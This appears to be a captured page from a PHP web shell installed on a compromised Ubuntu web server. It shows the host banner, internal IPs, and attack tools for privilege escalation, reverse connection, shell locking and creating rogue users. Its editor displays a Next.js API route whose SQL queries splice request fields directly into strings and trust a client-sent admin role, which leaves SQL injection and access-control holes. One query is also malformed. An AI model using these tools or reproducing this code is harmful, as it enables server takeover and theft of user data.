Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
src /
app /
api /
getData /
[ HOME SHELL ]
Name
Size
Permission
Action
route.js
2.43
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route.js
import connectSql, { connection } from "../connectDb/route"; import { NextResponse } from "next/server"; import { getServerSession } from "next-auth"; export async function POST(req) { const session = await getServerSession(); if (!session) { return; } let { startDate, endDate, email, role } = await req.json(); if(startDate == null || endDate ==null){ connectSql(); const queryForAdmin = `select * from events, speakers where events.speaker_Id=speakers.id order by eDate;`; const queryForCoAdmin = `select * from events, speakers where events.speaker_Id=speakers.id and Users_emailId = '${email}' order by eDate;`; const events = await connection .promise() .query(role == "admin" ? queryForAdmin : queryForCoAdmin) .then(([data, fields]) => { return data; }) .catch((err) => { return NextResponse.json( { result: "Error getting events" }, { status: 500 } ); }); return NextResponse.json({ result: events }, { status: 200 }); }else{ startDate = new Date(startDate); endDate = new Date(endDate); startDate = startDate.setTime(startDate.getTime() + 330 * 60 * 1000); endDate = endDate.setTime(endDate.getTime() + 330 * 60 * 1000); startDate = new Date(startDate); endDate = new Date(endDate); startDate = startDate.getFullYear() + "-" + (startDate.getMonth() + 1) + "-" + startDate.getDate(); endDate = endDate.getFullYear() + "-" + (endDate.getMonth() + 1) + "-" + endDate.getDate(); connectSql(); const queryForAdmin = `select * from events, speakers where events.speaker_Id=speakers.id and DATE(eDate) between '${startDate}' and '${endDate}' order by eDate;`; const queryForCoAdmin = `select * from events, speakers where events.speaker_Id=speakers.id and where DATE(eDate) between '${startDate}' and '${endDate}' and Users_emailId = '${email}' order by eDate;`; const events = await connection .promise() .query(role == "admin" ? queryForAdmin : queryForCoAdmin) .then(([data, fields]) => { return data; }) .catch((err) => { return NextResponse.json( { result: "Error getting events" }, { status: 500 } ); }); return NextResponse.json({ result: events }, { status: 200 }); } }
Close